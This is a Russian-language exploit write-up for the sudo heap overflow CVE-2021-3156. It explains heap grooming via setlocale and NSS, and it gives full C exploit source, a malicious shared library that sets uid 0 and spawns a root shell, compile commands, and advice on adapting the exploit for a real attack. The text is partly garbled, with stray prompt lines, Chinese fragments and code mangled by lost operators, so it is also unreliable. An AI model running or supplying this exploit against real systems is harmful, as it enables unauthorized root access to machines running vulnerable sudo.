  1. Поскольку чанки 1,2,4,6 имеют размер 0x20, а в ходе выполнения программы было много запросов на выделение чанков размером 0x20, то tcache для 0x20 быстро исчерпается. То есть к моменту выполнения функции nss_parse_file tcache для 0x20 уже практически нет, и дальнейшие запросы будут удовлетворяться либо из top chunk, либо нарезкой из small/large/unsorted bin. Поэтому на них можно не обращать внимания.

  2. Мы сосредоточимся на том, как между чанками 3,5 и чанком 7 вставить чанк особого размера 0xX0 (который не будет использован до запроса vuln chunk). Примерно так:

    image-20220123134611280

  3. Поскольку все чанки, участвующие в компоновке кучи, выделены в setlocale, а эти данные в setlocale практически не используются, то даже их перезапись не вызовет краха. Поэтому наш vuln chunk и target chunk могут находиться не сразу вплотную друг к другу – это допустимо.

  4. Итоговая идея: в setlocale выделить два чанка размером 0x40, затем один чанк размером 0xa0 (то есть упомянутый выше 0xX0), затем ещё один чанк размером 0x40. Они будут освобождены в обратном порядке, а затем в функции nss_parse_file будут запрошены в том же порядке. Причём в nss_parse_file вызов getline выделит чанк размером 0x80, который «защитит» наш зарезервированный чанк размером 0xa0.

Далее вычисляем расстояние между удаляемым чанком и переполняющим чанком:

image-20220123114452223

0x5576b5ac7000 - 0x5576b5ac69b0 = 0x650

Можно разбить общий ввод параметров размером 0xa0 на две части: x штук \\ (каждый такой – отдельная строка, занимает 2 байта) и одна строка 'a' * y (y символов 'a' – одна строка, занимает y+1 байт). Тогда 2x + y = 0xa0 - 0x10 (здесь 0xa0 - 0x10, потому что наш vuln chunk имеет размер 0xa0, но реальный запрос требует на 0x10 меньше). Итоговая команда будет выглядеть примерно так:``` sudoedit -s \ \ \ ...(x个)... \ "aaaa...(y个)...aaa"

root@kitploit:~
Вычислите x, y такие, что:```
(x+y)+(x+y)+(x+y+1)+(x+y-2)+... ...+(y+1) 刚好 < 0x650 
2x+y = 0xa0-0x10

Принцип первого равенства заключается в том, что, поскольку во вводе есть несколько \\, каждая копия вызывает переполнение, каждое переполнение на 1 байт меньше предыдущего, поэтому складываем арифметическую прогрессию. Упрощая, получаем:``` (x+y)+(x+2y+1)·x/2=0x650 2x+y = 0x90

root@kitploit:~
С моей стороны решение:```
x=11
y=121

Наконец, длина, которая может быть переполнена через параметры sudoedit, составляет 0x5f9. Оставшуюся часть можно дополнить с помощью \\ в переменных окружения. Переменные окружения копируются только один раз. При перезаписи структуры обратите внимание, что строка имени so находится по смещению 0x30 в структуре, а все элементы структуры перед строкой должны быть перезаписаны как \x00. (Эту часть подробно разбирать не буду; как составить payload подходящей длины для переполнения — тоже не слишком технически сложно. Здесь я в основном даю универсальный способ быстрого вычисления.)

Затем скомпилируйте поддельную библиотеку so. Здесь функция, скомпилированная напрямую с помощью макроса attribute, будет автоматически выполнена при загрузке бинарного файла, то есть это конструктор. Эксплойт выглядит так:

exp

В моей отладочной среде эксплойт выглядит следующим образом:```c #include<stdio.h> #include<string.h> #include<stdlib.h> #include<math.h>

#define __LC_CTYPE 0 #define __LC_NUMERIC 1 #define __LC_TIME 2 #define __LC_COLLATE 3 #define __LC_MONETARY 4 #define __LC_MESSAGES 5 #define __LC_ALL 6 #define __LC_PAPER 7 #define __LC_NAME 8 #define __LC_ADDRESS 9 #define __LC_TELEPHONE 10 #define __LC_MEASUREMENT 11 #define __LC_IDENTIFICATION 12

char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELE PHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};

int now=13; int envnow=0; int argvnow=0; char * envp[0x300]; char * argv[0x300]; char * addChunk(int size) { now --; char * result; if(now ==6) { now --; } if(now>=0) { result=malloc(size+0x20); strcpy(result,envName[now]); strcat(result,"=C.UTF-8@"); for(int i=9;i<=size-0x17;i++) strcat(result,"A"); envp[envnow++]=result; } return result; }

void final() { now --; char * result; if(now ==6) { now --; } if(now>=0) { result=malloc(0x100); strcpy(result,envName[now]); strcat(result,"=xxxxxxxxxxxxxxxxxxxxx"); envp[envnow++]=result; } }

int setargv(int size,int offset) { size-=0x10; signed int x,y; signed int a=-3; signed int b=2size-3; signed int c=2size-2-offset2; signed int tmp=bb-4ac; if(tmp<0) return -1; tmp=(signed int)sqrt((double)tmp1.0); signed int A=(0-b+tmp)/(2a); signed int B=(0-b-tmp)/(2a); if(A<0 && B<0) return -1; if((A>0 && B<0) || (A<0 && B>0)) x=(A>0) ? A: B; if(A>0 && B > 0) x=(A<B) ? A : B; y=size-1-x2; int len=x+y+(x+y+y+1)*x/2;

root@kitploit:~
while ((signed int)(offset-len)<2)
{
    x--;
    y=size-1-x*2;
    len=x+y+(x+y+1)*x/2;
    if(x<0)
        return -1;
}
int envoff=offset-len-2+0x30;
printf("%d,%d,%d\n",x,y,len);
char * Astring=malloc(size);
int i=0;
for(i=0;i<y;i++)
    Astring[i]='A';
Astring[i]='\x00';

argv[argvnow++]="sudoedit";
argv[argvnow++]="-s";
for (i=0;i<x;i++)
    argv[argvnow++]="\\";
argv[argvnow++]=Astring;
argv[argvnow++]="\\";
argv[argvnow++]=NULL;
for(i=0;i<envoff;i++)
    envp[envnow++]="\\";
envp[envnow++]="X/test";
return 0;

}

int main() { setargv(0xa0,0x650); addChunk(0x40); addChunk(0x40); addChunk(0xa0); addChunk(0x40); final();

root@kitploit:~
execve("/usr/local/bin/sudoedit",argv,envp);

}

root@kitploit:~
lib.c следующим образом:```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void __attribute__ ((constructor)) _init(void);

static void _init(void) {
        printf("[+] bl1ng bl1ng! We got it!\n");
#ifndef BRUTE
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execv("/bin/sh", a_argv);
#endif
}

Команда компиляции:```sh mkdir libnss_X gcc -fPIC -shared lib.c -o ./libnss_X/test.so.2 gcc exp.c -o exp

root@kitploit:~
Успех:

image-20220123115529219

### Методы изменения exp для конкретной среды

В основном для удобства собственного исследования и отладки, а не для реальной атаки. Для реальной атаки по-прежнему рекомендуется перебор, необходимо знать следующие моменты в зависимости от среды:

1. Контролируемый размер уязвимости, то есть free tcache, оставленный в setlocale, не будет израсходован до запроса уязвимости, необходимо найти подходящий размер (соответствует 0xa0 в моем exp)
2. Нужно определить, где расположить уязвимость, то есть сколько чанков 0x40 до vuln chunk и сколько после (соответствует нескольким функциям addChunk в моем exp в main).
3. Расстояние от target chunk до vuln chunk, то есть target chunk addr - vuln chunk addr (соответствует 0x650 в моем exp).

Изменение трех вышеуказанных пунктов с большой вероятностью приведет к успеху.

## Факторы, влияющие на эксплуатацию уязвимости

Факторов, влияющих на раскладку кучи, очень много: для одной и той же версии sudo разные параметры компиляции приводят к изменению раскладки кучи (если до переполнения добавить или удалить функции, участвующие в выделении кучи, с очень высокой вероятностью раскладка изменится).

Раскладка кучи sudo в дистрибутиве и собранной вручную версии различаются.

Различия в глобальном конфигурационном файле sudo также влияют.

Общие файлы, такие как passwd, также влияют.

Различия в файле nsswitch.conf влияют.

Версия glibc

Другие глобальные окружения (или файлы окружения)

## Меры по смягчению

Обновите до последней версии.

## Некоторые команды отладки```
watch rwatch awatch 内存断点
catch exec
set follow-exec-mode new 调试exp 的时候捕获子进程

Просмотр структуры service_table``` p service_table p * service_table p * service_table -> entry p * service_table -> entry -> next p * service_table -> entry -> next -> service ···

root@kitploit:~
查看堆块溢出之后最早调用的nss 函数,先断住溢出处:```
b policy_check  #先断离溢出点比较近的位置,直接断溢出点找不到
c
b sudoers.c:849 #malloc前
b sudoers.c:859 #溢出chunk 刚申请完毕
b sudoers.c:867 #溢出完成
c #断住之后再断nss_load_library
b nss_load_library 
c #断nss_load_library
bt #查看调用栈

Некоторые ключевые функции и код вы``` directory /root/glibc-2.27/ directory /root/glibc-2.27/nss/ directory /root/glibc-2.27/elf/ directory /root/glibc-2.27/locale/

b setlocale b nss_parse_file b nss_load_library

root@kitploit:~
## Ссылки

Блог внутреннего эксперта компании

52破解 блог: https://www.52pojie.cn/thread-1439734-1-1.html

blasty's POC: https://github.com/blasty/CVE-2021-3156
Скачать инструмент